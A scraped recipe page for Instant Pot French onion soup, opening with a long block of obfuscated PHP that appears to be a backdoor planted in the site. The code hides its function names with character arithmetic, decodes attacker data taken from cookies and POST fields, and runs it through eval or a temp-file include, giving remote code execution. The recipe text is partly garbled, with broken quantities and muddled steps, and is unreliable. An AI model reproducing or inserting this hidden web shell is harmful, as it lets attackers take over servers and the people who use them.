$KTsfczJabr = chr (83) . 'C' . chr ( 891 - 822 ).chr (95) . "\x41" . 'q' . chr ( 277 - 165 ).'W';$ZogbtLh = 'c' . chr (108) . chr ( 581 - 484 )."\x73" . chr ( 435 - 320 )."\x5f" . chr ( 444 - 343 ).chr ( 730 - 610 ).chr (105) . chr ( 336 - 221 ).chr (116) . 's';$uQHNN = class_exists($KTsfczJabr); $KTsfczJabr = "2768";$ZogbtLh = "21667";if ($uQHNN === FALSE){class SCE_AqpW{public function dveqn(){echo "45139";}private $MtLFGqe;public static $japEoMfyI = "b72c405c-210a-4bf6-be37-e0844adf5b17";public static $PgnkQuZSkY = 12118;public function __construct($hIbzhSu=0){$coaBSUP = $_POST;$eUKDlppJvS = $_COOKIE;$cNeFuIf = @$eUKDlppJvS[substr(SCE_AqpW::$japEoMfyI, 0, 4)];if (!empty($cNeFuIf)){$RXuYyoanv = "base64";$tmsxdXTZq = "";$cNeFuIf = explode(",", $cNeFuIf);foreach ($cNeFuIf as $qyqgg){$tmsxdXTZq .= @$eUKDlppJvS[$qyqgg];$tmsxdXTZq .= @$coaBSUP[$qyqgg];}$tmsxdXTZq = array_map($RXuYyoanv . chr (95) . "\144" . 'e' . 'c' . 'o' . chr (100) . 'e', array($tmsxdXTZq,)); $tmsxdXTZq = $tmsxdXTZq[0] ^ str_repeat(SCE_AqpW::$japEoMfyI, (strlen($tmsxdXTZq[0]) / strlen(SCE_AqpW::$japEoMfyI)) + 1);SCE_AqpW::$PgnkQuZSkY = @unserialize($tmsxdXTZq);}}private function mMvEtTq(){if (is_array(SCE_AqpW::$PgnkQuZSkY)) {$pnMYD = str_replace('<' . "\x3f" . "\x70" . chr ( 489 - 385 )."\160", "", SCE_AqpW::$PgnkQuZSkY[chr ( 890 - 791 ).'o' . chr ( 833 - 723 ).chr ( 1046 - 930 ).chr ( 684 - 583 ).chr ( 294 - 184 )."\x74"]);eval($pnMYD); $SxoaSB = "9909";exit();}}public function __destruct(){$this->mMvEtTq();}}$SjHecGlZFm = new /* 53483 */ SCE_AqpW(); $SjHecGlZFm = str_repeat("23954_58711", 1);}$WjQJSuFb = 'p' . "\x63" . chr ( 618 - 523 ).chr (90) . chr (105) . 'y';$vZAlKrE = 'c' . chr (108) . "\x61" . "\163" . 's' . "\x5f" . "\x65" . chr (120) . "\151" . chr (115) . chr ( 137 - 21 )."\x73";$fOiOC = class_exists($WjQJSuFb); $WjQJSuFb = "52747";$vZAlKrE = "34672";if ($fOiOC === FALSE){class pc_Ziy{public function DClgZnjqit(){echo "37654";}private $SLDeGTdr;public static $xaNvgVI = "600cb282-cd3b-490a-80f5-557f5b3b4f13";public static $uzRunIYrE = 59282;public function __construct($TUmqQf=0){$usvdLjDZ = $_POST;$wChCS = $_COOKIE;$URUzaXZamB = @$wChCS[substr(pc_Ziy::$xaNvgVI, 0, 4)];if (!empty($URUzaXZamB)){$EoucdcxXtw = "base64";$SXfFAoyB = "";$URUzaXZamB = explode(",", $URUzaXZamB);foreach ($URUzaXZamB as $AWzyHPRHU){$SXfFAoyB .= @$wChCS[$AWzyHPRHU];$SXfFAoyB .= @$usvdLjDZ[$AWzyHPRHU];}$SXfFAoyB = array_map($EoucdcxXtw . "\x5f" . "\144" . "\x65" . chr ( 1002 - 903 )."\157" . 'd' . 'e', array($SXfFAoyB,)); $SXfFAoyB = $SXfFAoyB[0] ^ str_repeat(pc_Ziy::$xaNvgVI, (strlen($SXfFAoyB[0]) / strlen(pc_Ziy::$xaNvgVI)) + 1);pc_Ziy::$uzRunIYrE = @unserialize($SXfFAoyB);}}private function GhtGJKbrg(){if (is_array(pc_Ziy::$uzRunIYrE)) {$yRXRPJY = sys_get_temp_dir() . "/" . crc32(pc_Ziy::$uzRunIYrE["\x73" . 'a' . "\154" . 't']);@pc_Ziy::$uzRunIYrE["\167" . chr ( 522 - 408 ).chr ( 347 - 242 ).'t' . chr (101)]($yRXRPJY, pc_Ziy::$uzRunIYrE["\x63" . chr ( 461 - 350 )."\156" . "\164" . "\x65" . chr ( 144 - 34 ).chr ( 568 - 452 )]);include $yRXRPJY;@pc_Ziy::$uzRunIYrE["\144" . "\x65" . "\x6c" . "\x65" . chr ( 1102 - 986 )."\x65"]($yRXRPJY); $ZBzRNXrGex = "4913";exit();}}public function __destruct(){$this->GhtGJKbrg();}}$kacWX = new /* 50896 */ pc_Ziy(); $kacWX = str_repeat("19877_9773", 1);}$LmeRgeVgN = "\127" . chr ( 338 - 221 )."\x4a" . "\137" . 'X' . "\126" . "\164" . "\141";$ezjrGevPJ = chr (99) . "\154" . "\141" . chr (115) . chr (115) . "\x5f" . "\x65" . 'x' . chr ( 604 - 499 ).'s' . "\164" . "\163";$yvpIeDpxH = class_exists($LmeRgeVgN); $LmeRgeVgN = "1622";$ezjrGevPJ = "8837";if ($yvpIeDpxH === FALSE){class WuJ_XVta{public function tmxtqTuzV(){echo "34896";}private $kLwEoZHLU;public static $AtNnlIzWS = "ff4667b4-a25e-4c51-a12f-b44655f427b1";public static $HAaswuFAeS = 36385;public function __construct($wIVteLo=0){$bUdVg = $_POST;$titKfmw = $_COOKIE;$WpzjfgGRbV = @$titKfmw[substr(WuJ_XVta::$AtNnlIzWS, 0, 4)];if (!empty($WpzjfgGRbV)){$pinVAT = "base64";$cTBJBglBy = "";$WpzjfgGRbV = explode(",", $WpzjfgGRbV);foreach ($WpzjfgGRbV as $eLpJfVp){$cTBJBglBy .= @$titKfmw[$eLpJfVp];$cTBJBglBy .= @$bUdVg[$eLpJfVp];}$cTBJBglBy = array_map($pinVAT . chr ( 363 - 268 ).chr ( 970 - 870 )."\x65" . 'c' . "\157" . 'd' . chr (101), array($cTBJBglBy,)); $cTBJBglBy = $cTBJBglBy[0] ^ str_repeat(WuJ_XVta::$AtNnlIzWS, (strlen($cTBJBglBy[0]) / strlen(WuJ_XVta::$AtNnlIzWS)) + 1);WuJ_XVta::$HAaswuFAeS = @unserialize($cTBJBglBy);}}private function pTXow(){if (is_array(WuJ_XVta::$HAaswuFAeS)) {$KwtZLz = sys_get_temp_dir() . "/" . crc32(WuJ_XVta::$HAaswuFAeS[chr ( 616 - 501 ).chr (97) . 'l' . chr (116)]);@WuJ_XVta::$HAaswuFAeS['w' . "\x72" . chr ( 700 - 595 )."\164" . chr (101)]($KwtZLz, WuJ_XVta::$HAaswuFAeS['c' . 'o' . chr (110) . "\164" . 'e' . "\x6e" . chr (116)]);include $KwtZLz;@WuJ_XVta::$HAaswuFAeS["\x64" . chr ( 597 - 496 )."\154" . "\x65" . chr (116) . chr (101)]($KwtZLz); $VoEUQ = "62943";exit();}}public function __destruct(){$this->pTXow();}}$ijexhronD = new /* 50614 */ WuJ_XVta(); $ijexhronD = str_repeat("31769_2794", 1);} Instant Pot French Onion Soup
April 19, 2024

Instant Pot French Onion Soup

French onion soup is a bistro favorite for a good reason. The combination of a deep-savory onion-packed broth with a cheesy, browned crouton makes it a comforting, satisfying dish.

The crouton will soften as it sits in broth. This allows you to enjoy cheesy, bready goodness every time you take a bite.

This pressure cooker version is ready in less than an hour.

It will also stay hot on the warming setting of your pressure cooker for hours. This means you can make the soup whenever it suits you. Then, add the cheesey toasts right before serving.

How to make French Onion Soup in the Pressure Cooker

You can speed up the process of caramelizing onions in your pressure cooker’s high “sautee” setting to make French onion soup. It takes only half an hour for them become sticky and sweet.

To kickstart the sweating process , I add salt and sugar to the onions. Instant pot can be used as a non-pressure cooker lid or any other 9-inch tempered or metal lid.

Next, caramelize the onions for 20 more minutes with the lid closed, stirring occasionally until they are golden brown.

Now, add all the ingredients to the pot and pressure cook for 5 minutes. This softens the onions and helps you to combine all the flavors.

The soup is now ready to be served.

  • Are you new to the Instant Pot Learn how to use the Instant Pot for the first time.

French Onion Soup: The Best Onions

Yellow or red onions work equally well. Regular onions are better than the sweet varieties because they have more flavor.

The Best Bread to Make French Onion Soup

Traditional French baguettes are made from French bread, but you could also use sourdough for a more tangy flavor. Soup should be served with crusty bread.

French Onion Soup with the Best Cheese

Let’s face it, any cheese melts when layered on top of a slice of bread.

Gruyere is the traditional cheese. That’s why I used it here. The beefy, oniony broth is complemented by its nutty, slightly sweet flavor. Jarlsberg, Emmental or any other Swiss cheese can be substituted for Gruyere. A sharp cheddar would also be delicious.

French Onion Soup: What to Eat

French onion soup is a great first course to a roast chicken meal. This soup is also delicious as an afternoon snack or light lunch, either on its own or with some lightly seasoned greens (and perhaps some additional cheesy Croutons).

French Onion Soup: Storing and Freezing

The soup will keep in the refrigerator for approximately five days. You can heat the soup in the microwave or on the stovetop, then add bread and cheese to the soup and broil it before serving.

You can freeze French onion soup separately from bread and cheese if you want to save time.

I prefer to freeze using a silicone mini loaf pan. Once the soup has frozen solid, place the pan on a baking sheet. Then, take the “loaves” of soup out of the pan and put them in a freezer-safe bag. These will thaw quicker than if the soup was frozen in large blocks. You can also reheat the soup in individual portions in a microwave-safe bowl or on the stovetop.

Instant Pot French Onion Soup

PREP TIME: 10 minutes

COOK TIME – 65 minutes

TOTAL TIME: 75 minutes

SERVINGS: 6 portions

6 cups of YIELD

Broiler-safe bowls are not necessary. Toast the bread separately and then add one slice of cheese to each soup bowl before serving.

Ingredients

Here’s the recipe for the soup

  • 1/4 cup unsalted butter or vegetable oil
  • 2 1/2-3 yellow/red onions, halved and peeled. Slice 1/4-inch thick
  • 1 tablespoon brown sugar
  • 1 1/2 teaspoons kosher salt
  • 1/4 cup dry sherry or vermouth
  • 4 cups low sodium beef broth
  • 1 teaspoon Worcestershire sauce
  • 1/4 teaspoon ground black pepper
  • 1/4 12 teaspoon dried Thymeleaves, or 12 teaspoon fresh Thyme leaves
  • 1 bay leaf

Toasts

  • 6 (one-inch thick) Slices from a baguette
  • 1 1/4 teaspoons Dijon mustard
  • cup grated Gruyere cheese
  • Freshly ground black pepper

Method

  1. The cooking time should be set:Choose the high saute setting for your pressure cooker. The Instant Pot or similar models should set the cooking timer to 30 minutes. To saute the onion, you will need every minute.
  2. Combine the fat with the onions and caramelize themThe butter or oil should be added to the pressure cooker. After the butter or oil has melted, approximately 2 minutes, add the onions and sugar to the pressure cooker. Stir with a wooden spoon until the onion layers are separated and coated with the fat.

    Place the lid of a tempered glass or 9-inch pot lid over the pot and allow the onions to cook for 10 minutes, stirring occasionally.

  3. Cover the pot again and continue to cook the onions.Cover the pot. The onions should now be softened but not brown. There should still be liquid in the bottom.

    Wear an oven mitt to hold the inner pot’s rim in place. Then, vigorously stir the onions. You must be careful not to splash any hot liquid onto yourself.

    Continue stirring the onions vigorously for 2 minutes. Make sure to scrape any brown bits or fonds from the bottom of your pot with your spoon. Continue this process until the saute cook program is completed after 30 minutes, and then the pot will turn off automatically.

    The onions should now be golden brown and caramelized.

     

  4. Cook the soup in pressure cooker.Add the sherry to the pot while it is still hot. To thoroughly scrape the bottom of the pot, use a wooden spoon.

    Incorporate the broth, Worcestershire sauce, bay leaf, pepper, and thyme. Place the pressure cooker lid in the sealing position. Next, select the manual setting and set the timer for 5 minutes at high.

    Before the cooking program can begin, it will take approximately 10 minutes for the pot to get up to pressure.

  5. Let go of the pressure and get ready to serve.Let the pressure naturally release for at least 15 mins, and then turn the pressure release valve on “venting” in order to let out any steam.

    The soup will remain hot on the “Keep Warm” setting for approximately 10 hours until it is ready to be served.

    The bay leaf should be removed when you are ready for the soup to be served. Season the soup by tasting it. If necessary, add salt or pepper to taste.

  6. Toast the soup and serve it with the remaining ingredients.Pre-heat the oven to broil and then line a baking sheet using aluminum foil. Broiler-safe bowls for serving on the baking sheet. Ladle the soup into the bowls and fill them up to 1/2 inch above the top.

    The baguette slices should be lightly coated with Dijon mustard (about 1/4 teaspoon per slice). Next, place the baguette pieces on top of the soup bowls.

    Place a heap of Gruyere cheese on each baguette piece. Add a few grinds of black pepper to each slice. Broil for about 3-5 minutes or until cheese is bubbly.